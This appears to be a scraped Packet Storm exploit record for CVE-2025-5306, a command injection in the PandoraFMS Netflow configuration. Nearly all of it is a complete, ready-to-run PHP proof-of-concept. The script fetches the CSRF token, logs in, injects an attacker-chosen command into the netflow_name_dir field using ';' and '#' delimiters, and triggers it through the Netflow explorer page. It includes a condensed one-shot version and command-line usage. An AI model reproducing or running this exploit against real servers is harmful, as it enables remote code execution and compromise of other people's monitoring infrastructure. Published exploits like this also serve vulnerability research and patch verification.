{“lastseen”:”2026-02-13T18:07:20″,”description”:”PandoraFMS versions 7.0.774 through 7.0.777.10 contain an authenticated command injection vulnerability in the Netflow configuration component. An authenticated attacker with valid credentials can inject arbitrary system commands via the netflownamedir…”,”published”:”2026-02-13T00:00:00″,”modified”:”2026-02-13T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 PandoraFMS Netflow 7.0.777.10 Command Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:215525″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-5306″],”sourceData”:”=============================================================================================================================================\\n | # Title : PandoraFMS Netflow 7.0.774\u20137.0.777.10 Authenticated Command Injection\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/pandorafms.com\/ |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/207183\/ \\u0026 \\tCVE-2025-5306\\n \\n [+] Summary : \\n \\n PandoraFMS versions 7.0.774 through 7.0.777.10 contain an authenticated command injection vulnerability in the Netflow configuration component. An authenticated attacker with valid credentials can inject arbitrary system commands via the netflow_name_dir parameter, leading to remote code execution on the underlying server with the privileges of the web server user.\\n \\t\\t\\t \\n [+] POC : \\n \\n php poc.php \\n \\n \\u003c?php\\n \\n class PandoraFMS_Netflow_RCE {\\n \\n private $target;\\n private $username;\\n private $password;\\n private $csrf_token;\\n private $cookies;\\n \\n public function __construct($target, $username, $password) {\\n $this-\\u003etarget = rtrim($target, ‘\/’);\\n $this-\\u003eusername = $username;\\n $this-\\u003epassword = $password;\\n $this-\\u003ecsrf_token = null;\\n $this-\\u003ecookies = [];\\n }\\n \\n private function send_request($method, $endpoint, $data = null, $is_post = false) {\\n $url = $this-\\u003etarget . $endpoint;\\n \\n $ch = curl_init();\\n curl_setopt_array($ch, [\\n CURLOPT_URL =\\u003e $url,\\n CURLOPT_RETURNTRANSFER =\\u003e true,\\n CURLOPT_TIMEOUT =\\u003e 30,\\n CURLOPT_FOLLOWLOCATION =\\u003e true,\\n CURLOPT_COOKIEFILE =\\u003e ”,\\n CURLOPT_USERAGENT =\\u003e ‘Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36’,\\n CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n CURLOPT_SSL_VERIFYHOST =\\u003e false\\n ]);\\n \\n \/\/ Preserve cookies between requests\\n if (!empty($this-\\u003ecookies)) {\\n curl_setopt($ch, CURLOPT_COOKIE, $this-\\u003ebuild_cookie_header());\\n }\\n \\n if ($is_post) {\\n curl_setopt($ch, CURLOPT_POST, true);\\n if ($data) {\\n curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));\\n }\\n } else {\\n if ($data \\u0026\\u0026 !$is_post) {\\n $url .= ‘?’ . http_build_query($data);\\n curl_setopt($ch, CURLOPT_URL, $url);\\n }\\n }\\n \\n $response = curl_exec($ch);\\n $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n \\n \/\/ Save cookies from response\\n if (preg_match_all(‘\/Set-Cookie:\\\\s*([^;]+)\/i’, $response, $matches)) {\\n foreach ($matches[1] as $cookie) {\\n $parts = explode(‘=’, $cookie, 2);\\n if (count($parts) === 2) {\\n $this-\\u003ecookies[$parts[0]] = $parts[1];\\n }\\n }\\n }\\n \\n curl_close($ch);\\n \\n return [\\n ‘code’ =\\u003e $http_code,\\n ‘body’ =\\u003e $response\\n ];\\n }\\n \\n private function build_cookie_header() {\\n $cookies = [];\\n foreach ($this-\\u003ecookies as $name =\\u003e $value) {\\n $cookies[] = $name . ‘=’ . $value;\\n }\\n return implode(‘; ‘, $cookies);\\n }\\n \\n private function extract_csrf_token($html) {\\n if (preg_match(‘\/\\u003cinput[^\\u003e]*id=\\”hidden-csrf_code\\”[^\\u003e]*value=\\”([^\\”]*)\\”\/i’, $html, $matches)) {\\n return $matches[1];\\n }\\n return null;\\n }\\n \\n private function extract_version($html) {\\n if (preg_match(‘\/\\u003cdiv[^\\u003e]*id=\\”ver_num\\”[^\\u003e]*\\u003e([^\\u003c]*)\\u003c\/i’, $html, $matches)) {\\n $version = trim($matches[1]);\\n \/\/ Remove ‘v’ prefix and ‘NG’ suffix\\n $version = ltrim($version, ‘v’);\\n $version = str_replace(‘NG’, ”, $version);\\n return $version;\\n }\\n return null;\\n }\\n \\n public function check() {\\n echo \\”[*] Checking target…\\\\n\\”;\\n \\n $response = $this-\\u003esend_request(‘GET’, ‘\/pandora_console\/index.php’, [‘login’ =\\u003e ‘1’]);\\n \\n if ($response[‘code’] !== 200) {\\n return \\”Unknown: Received unexpected response code: \\” . $response[‘code’];\\n }\\n \\n if (empty($response[‘body’])) {\\n return \\”Unknown: Empty response received\\”;\\n }\\n \\n $version = $this-\\u003eextract_version($response[‘body’]);\\n $this-\\u003ecsrf_token = $this-\\u003eextract_csrf_token($response[‘body’]);\\n \\n if (!$version) {\\n return \\”Safe: Application is probably not PandoraFMS\\”;\\n }\\n \\n echo \\”[*] Detected version: $version\\\\n\\”;\\n \\n if (!$this-\\u003ecsrf_token) {\\n echo \\”[!] CSRF token not found\\\\n\\”;\\n }\\n \\n \/\/ Check if version is vulnerable (7.0.774 to 7.0.777.10)\\n if (version_compare($version, ‘7.0.774’, ‘\\u003e=’) \\u0026\\u0026 \\n version_compare($version, ‘7.0.777.10’, ‘\\u003c=’)) {\\n return \\”Appears: Vulnerable PandoraFMS version $version detected\\”;\\n }\\n \\n return \\”Safe: Running version $version, which is not vulnerable\\”;\\n }\\n \\n private function get_csrf_token() {\\n if ($this-\\u003ecsrf_token) {\\n return $this-\\u003ecsrf_token;\\n }\\n \\n $response = $this-\\u003esend_request(‘GET’, ‘\/pandora_console\/index.php’, [‘login’ =\\u003e ‘1’]);\\n \\n if ($response[‘code’] !== 200) {\\n throw new Exception(\\”Unexpected response when fetching CSRF token\\”);\\n }\\n \\n $this-\\u003ecsrf_token = $this-\\u003eextract_csrf_token($response[‘body’]);\\n \\n if (!$this-\\u003ecsrf_token) {\\n throw new Exception(\\”Could not find CSRF token\\”);\\n }\\n \\n return $this-\\u003ecsrf_token;\\n }\\n \\n private function login_successful($response) {\\n return $response[‘code’] === 200 \\u0026\\u0026 \\n (strpos($response[‘body’], ‘id=\\”welcome-icon-header\\”‘) !== false ||\\n strpos($response[‘body’], ‘id=\\”welcome_panel\\”‘) !== false ||\\n strpos($response[‘body’], ‘godmode’) !== false);\\n }\\n \\n private function login() {\\n echo \\”[*] Attempting to login…\\\\n\\”;\\n \\n $csrf_token = $this-\\u003eget_csrf_token();\\n \\n $post_data = [\\n ‘nick’ =\\u003e $this-\\u003eusername,\\n ‘pass’ =\\u003e $this-\\u003epassword,\\n ‘login_button’ =\\u003e \\”Let’s go\\”,\\n ‘csrf_code’ =\\u003e $csrf_token\\n ];\\n \\n $response = $this-\\u003esend_request(‘POST’, ‘\/pandora_console\/index.php’, \\n array_merge([‘login’ =\\u003e ‘1’], $post_data), true);\\n \\n if (!$this-\\u003elogin_successful($response)) {\\n throw new Exception(\\”Login failed – invalid credentials or application error\\”);\\n }\\n \\n echo \\”[+] Login successful\\\\n\\”;\\n }\\n \\n private function extract_netflow_config($html) {\\n $config = [];\\n \\n \/\/ Extract netflow_daemon\\n if (preg_match(‘\/\\u003cinput[^\\u003e]*name=\\”netflow_daemon\\”[^\\u003e]*value=\\”([^\\”]*)\\”\/i’, $html, $matches)) {\\n $config[‘netflow_daemon’] = $matches[1];\\n }\\n \\n \/\/ Extract netflow_nfdump\\n if (preg_match(‘\/\\u003cinput[^\\u003e]*name=\\”netflow_nfdump\\”[^\\u003e]*value=\\”([^\\”]*)\\”\/i’, $html, $matches)) {\\n $config[‘netflow_nfdump’] = $matches[1];\\n }\\n \\n \/\/ Extract netflow_max_resolution\\n if (preg_match(‘\/\\u003cinput[^\\u003e]*name=\\”netflow_max_resolution\\”[^\\u003e]*value=\\”([^\\”]*)\\”\/i’, $html, $matches)) {\\n $config[‘netflow_max_resolution’] = $matches[1];\\n }\\n \\n \/\/ Extract netflow_disable_custom_lvfilters_sent\\n if (preg_match(‘\/\\u003cinput[^\\u003e]*name=\\”netflow_disable_custom_lvfilters_sent\\”[^\\u003e]*value=\\”([^\\”]*)\\”\/i’, $html, $matches)) {\\n $config[‘netflow_disable_custom_lvfilters_sent’] = $matches[1];\\n }\\n \\n \/\/ Extract netflow_max_lifetime\\n if (preg_match(‘\/\\u003cinput[^\\u003e]*name=\\”netflow_max_lifetime\\”[^\\u003e]*value=\\”([^\\”]*)\\”\/i’, $html, $matches)) {\\n $config[‘netflow_max_lifetime’] = $matches[1];\\n }\\n \\n \/\/ Extract netflow_interval\\n if (preg_match(‘\/\\u003cselect[^\\u003e]*name=\\”netflow_interval\\”[^\\u003e]*\\u003e.*?\\u003coption[^\\u003e]*selected=\\”selected\\”[^\\u003e]*value=\\”([^\\”]*)\\”\/is’, $html, $matches)) {\\n $config[‘netflow_interval’] = $matches[1];\\n }\\n \\n return $config;\\n }\\n \\n private function valid_netflow_options($config) {\\n foreach ($config as $key =\\u003e $value) {\\n if (empty($value)) {\\n return false;\\n }\\n }\\n return true;\\n }\\n \\n private function configure_netflow($payload) {\\n echo \\”[*] Configuring Netflow with payload…\\\\n\\”;\\n \\n $response = $this-\\u003esend_request(‘GET’, ‘\/pandora_console\/index.php’, [\\n ‘sec’ =\\u003e ‘general’,\\n ‘sec2’ =\\u003e ‘godmode\/setup\/setup’,\\n ‘section’ =\\u003e ‘net’\\n ]);\\n \\n if ($response[‘code’] !== 200) {\\n throw new Exception(\\”Netflow might not be enabled\\”);\\n }\\n \\n $config = $this-\\u003eextract_netflow_config($response[‘body’]);\\n \\n if (!$this-\\u003evalid_netflow_options($config)) {\\n throw new Exception(\\”Failed to get existing Netflow configuration\\”);\\n }\\n \\n \/\/ Add payload to netflow_name_dir parameter\\n $config[‘netflow_name_dir’] = ‘;’ . $payload . ‘#’;\\n $config[‘update_config’] = ‘1’;\\n $config[‘upd_button’] = ‘Update’;\\n \\n $response = $this-\\u003esend_request(‘POST’, ‘\/pandora_console\/index.php’, \\n array_merge([\\n ‘sec’ =\\u003e ‘general’,\\n ‘sec2’ =\\u003e ‘godmode\/setup\/setup’,\\n ‘section’ =\\u003e ‘net’\\n ], $config), true);\\n \\n if ($response[‘code’] !== 200) {\\n throw new Exception(\\”Failed to configure Netflow\\”);\\n }\\n \\n echo \\”[+] Netflow configured with payload\\\\n\\”;\\n }\\n \\n private function trigger_payload() {\\n echo \\”[*] Triggering payload execution…\\\\n\\”;\\n \\n $response = $this-\\u003esend_request(‘GET’, ‘\/pandora_console\/index.php’, [\\n ‘sec’ =\\u003e ‘network_traffic’,\\n ‘sec2’ =\\u003e ‘operation\/netflow\/netflow_explorer’\\n ]);\\n \\n echo \\”[+] Payload triggered\\\\n\\”;\\n return $response;\\n }\\n \\n public function exploit($payload) {\\n try {\\n echo \\”[*] Starting PandoraFMS Netflow RCE exploitation…\\\\n\\”;\\n \\n \/\/ Check target first\\n $check_result = $this-\\u003echeck();\\n echo \\”[*] Check result: $check_result\\\\n\\”;\\n \\n if (strpos($check_result, ‘Safe’) !== false) {\\n echo \\”[-] Target is not vulnerable, stopping exploitation\\\\n\\”;\\n return false;\\n }\\n \\n \/\/ Login\\n $this-\\u003elogin();\\n \\n \/\/ Configure netflow with payload\\n $this-\\u003econfigure_netflow($payload);\\n \\n \/\/ Trigger the payload\\n $this-\\u003etrigger_payload();\\n \\n echo \\”[+] Exploitation completed\\\\n\\”;\\n return true;\\n \\n } catch (Exception $e) {\\n echo \\”[-] Exploitation failed: \\” . $e-\\u003egetMessage() . \\”\\\\n\\”;\\n return false;\\n }\\n }\\n }\\n \\n \/\/ \u0646\u0633\u062e\u0629 \u0645\u0628\u0633\u0637\u0629 \u0644\u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0633\u0631\u064a\u0639\\n class SimplePandoraExploit {\\n \\n public static function execute($target, $username, $password, $command) {\\n $target = rtrim($target, ‘\/’);\\n \\n \/\/ Step 1: Get CSRF token and login\\n $ch = curl_init();\\n curl_setopt_array($ch, [\\n CURLOPT_URL =\\u003e $target . ‘\/pandora_console\/index.php?login=1’,\\n CURLOPT_RETURNTRANSFER =\\u003e true,\\n CURLOPT_COOKIEFILE =\\u003e ”,\\n CURLOPT_USERAGENT =\\u003e ‘Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36’\\n ]);\\n \\n $response = curl_exec($ch);\\n $csrf_token = null;\\n \\n if (preg_match(‘\/\\u003cinput[^\\u003e]*id=\\”hidden-csrf_code\\”[^\\u003e]*value=\\”([^\\”]*)\\”\/i’, $response, $matches)) {\\n $csrf_token = $matches[1];\\n }\\n \\n if (!$csrf_token) {\\n return \\”[-] Failed to get CSRF token\\”;\\n }\\n \\n \/\/ Step 2: Login\\n $post_data = http_build_query([\\n ‘nick’ =\\u003e $username,\\n ‘pass’ =\\u003e $password,\\n ‘login_button’ =\\u003e \\”Let’s go\\”,\\n ‘csrf_code’ =\\u003e $csrf_token\\n ]);\\n \\n curl_setopt_array($ch, [\\n CURLOPT_URL =\\u003e $target . ‘\/pandora_console\/index.php?login=1’,\\n CURLOPT_POST =\\u003e true,\\n CURLOPT_POSTFIELDS =\\u003e $post_data\\n ]);\\n \\n $login_response = curl_exec($ch);\\n \\n if (strpos($login_response, ‘godmode’) === false) {\\n return \\”[-] Login failed\\”;\\n }\\n \\n \/\/ Step 3: Configure Netflow with payload\\n $netflow_data = http_build_query([\\n ‘netflow_daemon’ =\\u003e ‘\/usr\/bin\/nfcapd’,\\n ‘netflow_nfdump’ =\\u003e ‘\/usr\/bin\/nfdump’,\\n ‘netflow_max_resolution’ =\\u003e ‘1080’,\\n ‘netflow_disable_custom_lvfilters_sent’ =\\u003e ‘0’,\\n ‘netflow_max_lifetime’ =\\u003e ’30’,\\n ‘netflow_interval’ =\\u003e ‘300’,\\n ‘netflow_name_dir’ =\\u003e ‘;’ . $command . ‘#’,\\n ‘update_config’ =\\u003e ‘1’,\\n ‘upd_button’ =\\u003e ‘Update’\\n ]);\\n \\n curl_setopt_array($ch, [\\n CURLOPT_URL =\\u003e $target . ‘\/pandora_console\/index.php?sec=general\\u0026sec2=godmode\/setup\/setup\\u0026section=net’,\\n CURLOPT_POSTFIELDS =\\u003e $netflow_data\\n ]);\\n \\n $config_response = curl_exec($ch);\\n \\n \/\/ Step 4: Trigger payload\\n curl_setopt_array($ch, [\\n CURLOPT_URL =\\u003e $target . ‘\/pandora_console\/index.php?sec=network_traffic\\u0026sec2=operation\/netflow\/netflow_explorer’,\\n CURLOPT_POST =\\u003e false,\\n CURLOPT_POSTFIELDS =\\u003e null\\n ]);\\n \\n $trigger_response = curl_exec($ch);\\n curl_close($ch);\\n \\n return \\”[+] Exploitation completed\\”;\\n }\\n }\\n \\n \/\/ \u0627\u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645\\n if (php_sapi_name() === ‘cli’) {\\n \\n if ($argc \\u003c 5) {\\n echo \\”Usage: php \\” . $argv[0] . \\” \\u003ctarget_url\\u003e \\u003cusername\\u003e \\u003cpassword\\u003e \\u003ccommand\\u003e\\\\n\\”;\\n echo \\”Example: php \\” . $argv[0] . \\” http:\/\/localhost admin pandora \\\\\\”id\\\\\\”\\\\n\\”;\\n exit(1);\\n }\\n \\n $target = $argv[1];\\n $username = $argv[2];\\n $password = $argv[3];\\n $command = $argv[4];\\n \\n \/\/ \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0646\u0633\u062e\u0629 \u0627\u0644\u0643\u0627\u0645\u0644\u0629\\n $exploit = new PandoraFMS_Netflow_RCE($target, $username, $password);\\n $exploit-\\u003eexploit($command);\\n \\n \/\/ \u0623\u0648 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0646\u0633\u062e\u0629 \u0627\u0644\u0645\u0628\u0633\u0637\u0629\\n \/\/ $result = SimplePandoraExploit::execute($target, $username, $password, $command);\\n \/\/ echo $result . \\”\\\\n\\”;\\n }\\n \\n ?\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215525″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215525\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-13T18:07:20″,”description”:”PandoraFMS versions 7.0.774 through 7.0.777.10 contain an authenticated command injection vulnerability in the Netflow configuration component. An authenticated attacker with valid credentials can inject arbitrary…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-40779","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n